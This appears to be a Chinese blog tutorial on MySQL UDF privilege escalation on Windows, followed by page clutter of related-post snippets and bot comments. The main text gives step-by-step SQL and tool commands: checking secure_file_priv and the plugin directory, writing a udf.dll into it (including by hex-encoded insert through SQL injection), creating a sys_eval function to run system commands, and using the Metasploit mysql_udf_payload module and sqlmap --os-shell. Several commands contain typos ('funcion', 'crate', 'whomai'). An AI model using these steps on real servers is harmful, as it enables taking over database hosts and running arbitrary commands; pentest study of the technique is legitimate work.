相关文章推荐
机灵的西瓜  ·  Gitlab ...·  1 年前    · 
仗义的羽毛球  ·  python - TypeError at ...·  2 年前    · 
干练的仙人球  ·  python 3.x - Error ...·  2 年前    · 

UDF提权

UDF(user defined function),自定义函数,是数据库功能的一种扩展。用户通过自定义函数可以在 MySQL 中方便实现的功能,其添加的新函数都可以在SQL语句中调用,提权原理利用 root高权限创建cmd函数执行系统命令

以下以windows操作系统为例进行手工演示提权及自动化工具提权演示

提权所需条件

一、*查看secure_file_priv的值

show variables like '%secure%'
  • secure_file_priv 没有值任意路径可读写
  • secure_file_priv 为NULL禁止读写
  • secure_file_priv 为对于目录,此目录可读写

load_file():读取函数,且可进行网络请求into dumpfile():只能写一行,原样写入 into out_file():多行写入,具有特殊格式转换

二、必须是root权限

三、寻找插件目录(dll文件必须上传到插件目录下)

UDF 的动态链接库文件放到 MySQL 的插件目录下,使用 SQL 语句来查询目录:(若不存在则需要手工创建。)

show variables like '%plugin%';

注意: MYSQL版本>5.1导入在lib\plugin\目录下,MYSQL<5.1导入到C:\Windows\目录下

四、查找操作系统版本

查看操作系统版本命令,根据版本选取对应的动态链接库

show variables like '%compile%';

注意: 选取动态链接库版本错误则报Can't open shared library 'udf.dll'

提权步骤及方法:

方法一:通过ntfs流进行创建失败,好像已经被禁用。。。留在这里吧。可以进行尝试一下

select 'test' into dumpfile 'D:\\phpStudy\\PHPTurorial\\MySQL\\lib\\plugin::$INDEX_ALLOCATION';

方法二 可以直接上传文件到插件目录,可以用msf或mysql动态链接库进行上传。 (lib目录下没有plugin需要自己创建)

场景:获取webshell情况下

在msf中动态链接库:

sqlmap中动态链接库:

我这使用msf中的动态链接库,sqlmap下的udf文件是经过编码的,如果直接丢在mysql的plugin目录下是无法加载的,需要用sqlmap/extra/cloak/cloak.py进行解码

上传成功后直接创建函数(msf中有的dll中函数创建有sys_eval)

create funcion sys_eval returns strings soname 'udf.dll'; #创建函数
select * from mysql.func where name='sys_eval';  #查询创建的函数
select sys_eval("whomai");  #执行系统命令

方法三:通过sql语句写入dll文件:

场景:可以进行sql注入具有写入权限的情况

在本地将dll文件转为16进制:

select hex(load_file(本地dll文件路径)) into dumpfile 'C:\\Users\\user\\Desktop\\udf.txt';
#load_file中的内容就是 C:\\Users\\user\\Desktop\\udf_32.dll 的16进制
#写到本地udf.txt文件中

通过以下步骤将udf.txt中的数据写入udf到插件目录

crate table udftemp(data longblob)  #创建临时表
insert into udftemp(data) values (0x+udf.txt中的值);  将16进制udf文件写入此表
select data from udftemp into dumpfile "D:\\phpStudy\\PHPTurorial\\MySQL\\lib\\plugin\\new.dll";  #写入dll
create function sys_eval returns string soname 'new.dll' #创建函数

补充:也可以利用工具自动化提权,msf、sqlmap --os-shell

场景:得到数据库账号密码

使用exploit/multi/mysql/mysql_udf_payload模块,设定Rhost、password、username就可以该模块dll包含的函数,

数据库查询函数:

默认创建的函数是sys_exec该函数无回显结果,也可手动创建sys_eval函数。

手动创建sys_eval函数

sqlmap:

场景:得到数据库账号密码、且用户可外连

python2 sqlmap.py -d "mysql://root:root@192.168.142.130:3306/test" --os-shell

python2 sqlmap.py -d "mysql://root:root@192.168.142.130:3306/test" --os-shell
0x01 简介 UDF (user-defined function)是 MySQL 的一个拓展接口,也可称之为用户自定义函数,它是用来拓展 MySQL 的技术手段,可以说是 数据库 功能的一种扩展,用户通过自定义函数来实现 MySQL 中无法方便实现的功能,其添加的新函数都可以在SQL语句中调用,就像本机函数如ABS()或SOUNDEX()一样方便。 UDF 官方介绍以及其函数定义请参考链接。 当获取到 mysql 的root权限,需要进行权限提升,可以尝试 使用 udf 提权 。 1、条件判断 ① ...
MySQL 全版本通杀 提权 神器是一种用于攻击 MySQL 数据库 工具 ,其主要目的是获取管理员权限并控制整个 数据库 服务器,因此具有非常严重的安全漏洞。此类 工具 往往利用 MySQL 的系统特性,比如用户定义函数( UDF ),然后 使用 特定的PAYLOAD通过远程代码执行漏洞,最终实现ROOT权限的提升。这些 工具 往往在黑客社区中非常流行,因为它们可以方便地获取高权限,并导致 数据库 服务器的严重安全威胁。 因此,在 使用 MySQL 进行 数据库 开发和管理时,我们需要非常注意安全问题,尤其是网络和远程连接方面的安全。为了提高 数据库 服务器的安全性,我们需要采取一系列措施,如 使用 强密码、限制IP、禁用不必要的功能、定期备份数据、定期审计 数据库 、及时补充安全补丁等等。另外,我们还需要关注 MySQL 社区的动态和安全通告,及时更新和升级软件版本,以保持 数据库 系统的安全性。 总之, MySQL 全版本通杀 提权 神器是一种非常危险的攻击 工具 ,对服务器安全造成极大威胁,我们需要充分认识和了解这些 工具 的作用和原理,并采取适当的措施保证数据安全。
CSDN-Ada助手: 非常感谢您分享这篇博客,对于SSL/TLS RC4 信息泄露漏洞的原理和修复方案进行了详细的介绍,让读者受益匪浅。希望您能够继续分享您的经验和见解,为网络安全领域贡献更多的知识。对于下一步的创作建议,个人认为可以结合实际案例进行分析和总结,这样更有利于读者的理解和应用。再次感谢您的分享! CSDN 正在通过评论红包奖励优秀博客,请看红包流:https://bbs.csdn.net/?type=4&header=0&utm_source=csdn_ai_ada_blog_reply3,我们会奖励持续创作和学习的博主,请看:https://bbs.csdn.net/forums/csdnnews?typeId=116148&utm_source=csdn_ai_ada_blog_reply3 SSL/TLS 协议信息泄露漏洞(CVE-2016-2183)【原理扫描】 CSDN-Ada助手: 恭喜您发布了第四篇博客,这篇关于SSL/TLS 协议信息泄露漏洞的原理扫描非常实用。不仅深入浅出地介绍了漏洞的原理,还提供了解决方案,对读者来说非常有用。建议下一步可以从实践出发,介绍一些应对该漏洞的案例,或者分享一些相关工具的使用方法等。再次感谢您的分享! CSDN 会根据你创作的前四篇博客的质量,给予优秀的博主博客红包奖励。请关注 https://bbs.csdn.net/forums/csdnnews?typeId=116148&utm_source=csdn_ai_ada_blog_reply4 看奖励名单。